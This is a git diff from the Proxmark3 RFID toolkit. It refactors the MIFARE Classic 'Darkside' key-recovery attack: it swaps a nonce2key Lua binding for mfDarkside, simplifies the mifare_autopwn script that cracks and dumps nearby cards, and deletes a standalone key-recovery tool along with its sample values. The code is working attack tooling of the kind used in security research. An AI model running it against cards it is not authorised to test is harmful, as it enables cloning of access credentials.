b/client/scripting.c index 0d491df7..d68adb3e 100644 --- a/client/scripting.c +++ b/client/scripting.c @@ -8,6 +8,8 @@ // Some lua scripting glue to proxmark core. //----------------------------------------------------------------------------- +#include "scripting.h" + #include #include #include @@ -15,9 +17,8 @@ #include "proxmark3.h" #include "usb_cmd.h" #include "cmdmain.h" -#include "scripting.h" #include "util.h" -#include "nonce2key/nonce2key.h" +#include "mifarehost.h" #include "../common/iso15693tools.h" #include "iso14443crc.h" #include "../common/crc16.h" @@ -125,49 +126,27 @@ static int returnToLuaWithError(lua_State *L, const char* fmt, ...) return 2; } -static int l_nonce2key(lua_State *L){ - - size_t size; - const char *p_uid = luaL_checklstring(L, 1, &size); - if(size != 4) return returnToLuaWithError(L,"Wrong size of uid, got %d bytes, expected 4", (int) size); - - const char *p_nt = luaL_checklstring(L, 2, &size); - if(size != 4) return returnToLuaWithError(L,"Wrong size of nt, got %d bytes, expected 4", (int) size); - - const char *p_nr = luaL_checklstring(L, 3, &size); - if(size != 4) return returnToLuaWithError(L,"Wrong size of nr, got %d bytes, expected 4", (int) size); - - const char *p_par_info = luaL_checklstring(L, 4, &size); - if(size != 8) return returnToLuaWithError(L,"Wrong size of par_info, got %d bytes, expected 8", (int) size); - - const char *p_pks_info = luaL_checklstring(L, 5, &size); - if(size != 8) return returnToLuaWithError(L,"Wrong size of ks_info, got %d bytes, expected 8", (int) size); - - - uint32_t uid = bytes_to_num(( uint8_t *)p_uid,4); - uint32_t nt = bytes_to_num(( uint8_t *)p_nt,4); - - uint32_t nr = bytes_to_num(( uint8_t*)p_nr,4); - uint64_t par_info = bytes_to_num(( uint8_t *)p_par_info,8); - uint64_t ks_info = bytes_to_num(( uint8_t *)p_pks_info,8); - - uint64_t key = 0; - - int retval = nonce2key(uid,nt, nr, par_info,ks_info, &key); +static int l_mfDarkside(lua_State *L){ + uint64_t key; + + int retval = mfDarkside(&key); + //Push the retval on the stack - lua_pushinteger(L,retval); + lua_pushinteger(L, retval); //Push the key onto the stack uint8_t dest_key[8]; - num_to_bytes(key,sizeof(dest_key),dest_key); + num_to_bytes(key, sizeof(dest_key), dest_key); //printf("Pushing to lua stack: %012" PRIx64 "\n",key); - lua_pushlstring(L,(const char *) dest_key,sizeof(dest_key)); + lua_pushlstring(L,(const char *)dest_key, sizeof(dest_key)); return 2; //Two return values } + //static int l_PrintAndLog(lua_State *L){ return CmdHF14AMfDump(luaL_checkstring(L, 1));} + static int l_clearCommandBuffer(lua_State *L){ clearCommandBuffer(); return 0; @@ -499,7 +478,7 @@ int set_pm3_libraries(lua_State *L) static const luaL_Reg libs[] = { {"SendCommand", l_SendCommand}, {"WaitForResponseTimeout", l_WaitForResponseTimeout}, - {"nonce2key", l_nonce2key}, + {"mfDarkside", l_mfDarkside}, //{"PrintAndLog", l_PrintAndLog}, {"foobar", l_foobar}, {"ukbhit", l_ukbhit}, diff --git a/client/scripts/mifare_autopwn.lua b/client/scripts/mifare_autopwn.lua index ce6db3c0..e68f7a75 100644 --- a/client/scripts/mifare_autopwn.lua +++ b/client/scripts/mifare_autopwn.lua @@ -8,7 +8,7 @@ author = "Martin Holst Swende" desc = [[ -This is a which automates cracking and dumping mifare classic cards. It sets itself into +This is a script which automates cracking and dumping mifare classic cards. It sets itself into 'listening'-mode, after which it cracks and dumps any mifare classic card that you place by the device. @@ -63,91 +63,6 @@ function wait_for_mifare() return nil, "Aborted by user" end -function mfcrack() - core.clearCommandBuffer() - -- Build the mifare-command - local cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 1} - - local retry = true - while retry do - core.SendCommand(cmd:getBytes()) - local key, errormessage = mfcrack_inner() - -- Success? - if key then return key end - -- Failure? - if errormessage then return nil, errormessage end - -- Try again..set arg1 to 0 this time. - - cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 0} - end - return nil, "Aborted by user" -end - - -function mfcrack_inner() - while not core.ukbhit() do - local result = core.WaitForResponseTimeout(cmds.CMD_ACK,1000) - if result then - - --[[ - I don't understand, they cmd and args are defined as uint32_t, however, - looking at the returned data, they all look like 64-bit things: - - print("result", bin.unpack("HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH", result)) - - FF 00 00 00 00 00 00 00 <-- 64 bits of data - FE FF FF FF 00 00 00 00 <-- 64 bits of data - 00 00 00 00 00 00 00 00 <-- 64 bits of data - 00 00 00 00 00 00 00 00 <-- 64 bits of data - 04 7F 12 E2 00 <-- this is where 'data' starts - - So below I use LI to pick out the "FEFF FFFF", don't know why it works.. - --]] - -- Unpacking the arg-parameters - local count,cmd,isOK = bin.unpack('LI',result) - --print("response", isOK)--FF FF FF FF - if isOK == 0xFFFFFFFF then - return nil, "Button pressed. Aborted." - elseif isOK == 0xFFFFFFFE then - return nil, "Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys." - elseif isOK == 0xFFFFFFFD then - return nil, "Card is not vulnerable to Darkside attack (its random number generator is not predictable). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys." - elseif isOK == 0xFFFFFFFC then - return nil, "The card's random number generator behaves somewhat weird (Mifare clone?). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys." - elseif isOK ~= 1 then - return nil, "Error occurred" - end - - - -- The data-part is left - -- Starts 32 bytes in, at byte 33 - local data = result:sub(33) - - -- A little helper - local get = function(num) - local x = data:sub(1,num) - data = data:sub(num+1) - return x - end - - local uid,nt,pl = get(4),get(4),get(8) - local ks,nr = get(8),get(4) - - local status, key = core.nonce2key(uid,nt, nr, pl,ks) - if not status then return status,key end - - if status > 0 then - print("Key not found (lfsr_common_prefix problem)") - -- try again - return nil,nil - else - return key - end - end - end - return nil, "Aborted by user" -end - function nested(key,sak) local typ = 1 if 0x18 == sak then --NXP MIFARE Classic 4k | Plus 4k @@ -209,8 +124,15 @@ function main(args) print("Card found, commencing crack", uid) -- Crack it local key, cnt - res,err = mfcrack() - if not res then return oops(err) end + err, res = core.mfDarkside() + if err == -1 then return oops("Button pressed. Aborted.") + elseif err == -2 then return oops("Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests).") + elseif err == -3 then return oops("Card is not vulnerable to Darkside attack (its random number generator is not predictable).") + elseif err == -4 then return oops([[ +Card is not vulnerable to Darkside attack (its random number generator seems to be based on the wellknown +generating polynomial with 16 effective bits only, but shows unexpected behaviour.]]) + elseif err == -5 then return oops("Aborted via keyboard.") + end -- The key is actually 8 bytes, so a -- 6-byte key is sent as 00XXXXXX -- This means we unpack it as first diff --git a/common/crapto1/crapto1.c b/common/crapto1/crapto1.c index 50ff6e1a..01351731 100644 --- a/common/crapto1/crapto1.c +++ b/common/crapto1/crapto1.c @@ -509,7 +509,7 @@ lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8], odd = lfsr_prefix_ks(ks, 1); even = lfsr_prefix_ks(ks, 0); - s = statelist = malloc((sizeof *statelist) << 21); // need more for no_par special attack. Enough??? + s = statelist = malloc((sizeof *statelist) << 22); // was << 20. Need more for no_par special attack. Enough??? if(!s || !odd || !even) { free(statelist); statelist = 0; diff --git a/tools/nonce2key/Makefile b/tools/nonce2key/Makefile deleted file mode 100644 index 9772e13d..00000000 --- a/tools/nonce2key/Makefile +++ /dev/null @@ -1,21 +0,0 @@ -VPATH = ../../common/crapto1 -CC = gcc -LD = gcc -CFLAGS = -I../../common -Wall -O4 -LDFLAGS = - -OBJS = crypto1.o crapto1.o -HEADERS = crapto1.h -EXES = nonce2key -WINEXES = $(patsubst %, %.exe, $(EXES)) - -all: $(OBJS) $(EXES) - -%.o : %.c - $(CC) $(CFLAGS) -c -o $@ $< - -% : %.c $(OBJS) - $(CC) $(CFLAGS) $(LDFLAGS) -o $@ $(OBJS) $< - -clean: - rm -f $(OBJS) $(EXES) $(WINEXES) diff --git a/tools/nonce2key/nonce2key.c b/tools/nonce2key/nonce2key.c deleted file mode 100644 index 9cee06d6..00000000 --- a/tools/nonce2key/nonce2key.c +++ /dev/null @@ -1,57 +0,0 @@ -#include "crapto1/crapto1.h" -#include -#include -typedef unsigned char byte_t; - -int main(const int argc, const char* argv[]) { - struct Crypto1State *state; - uint32_t pos, uid, nt, nr, rr, nr_diff; - byte_t bt, i, ks3x[8], par[8][8]; - uint64_t key_recovered; - uint64_t par_info; - uint64_t ks_info; - nr = rr = 0; - - if (argc < 5) { - printf("\nsyntax: %s \n\n",argv[0]); - return 1; - } - sscanf(argv[1],"%08x",&uid); - sscanf(argv[2],"%08x",&nt); - sscanf(argv[3],"%016" SCNx64,&par_info); - sscanf(argv[4],"%016" SCNx64,&ks_info); - - // Reset the last three significant bits of the reader nonce - nr &= 0xffffff1f; - - printf("\nuid(%08x) nt(%08x) par(%016" PRIx64 ") ks(%016" PRIx64 ")\n\n",uid,nt,par_info,ks_info); - - for (pos=0; pos<8; pos++) - { - ks3x[7-pos] = (ks_info >> (pos*8)) & 0x0f; - bt = (par_info >> (pos*8)) & 0xff; - for (i=0; i<8; i++) - { - par[7-pos][i] = (bt >> i) & 0x01; - } - } - - printf("|diff|{nr} |ks3|ks3^5|parity |\n"); - printf("+----+--------+---+-----+---------------+\n"); - for (i=0; i<8; i++) - { - nr_diff = nr | i << 5; - printf("| %02x |%08x|",i << 5, nr_diff); - printf(" %01x | %01x |",ks3x[i], ks3x[i]^5); - for (pos=0; pos<7; pos++) printf("%01x,",par[i][pos]); - printf("%01x|\n",par[i][7]); - } - - state = lfsr_common_prefix(nr,rr,ks3x,par,0); - lfsr_rollback_word(state,uid^nt,0); - crypto1_get_lfsr(state,&key_recovered); - printf("\nkey recovered: %012" PRIx64 "\n\n",key_recovered); - crypto1_destroy(state); - - return 0; -} diff --git a/tools/nonce2key/readme.txt b/tools/nonce2key/readme.txt deleted file mode 100644 index d9f0862f..00000000 --- a/tools/nonce2key/readme.txt +++ /dev/null @@ -1,7 +0,0 @@ -To test the nonce2key tool. - -:: tip -You can use the output from "hf mf mifare" to use with this tool. - -:: sample -./nonce2key e9cadd9c a8bf4a12 a020a8285858b090 050f010607060e07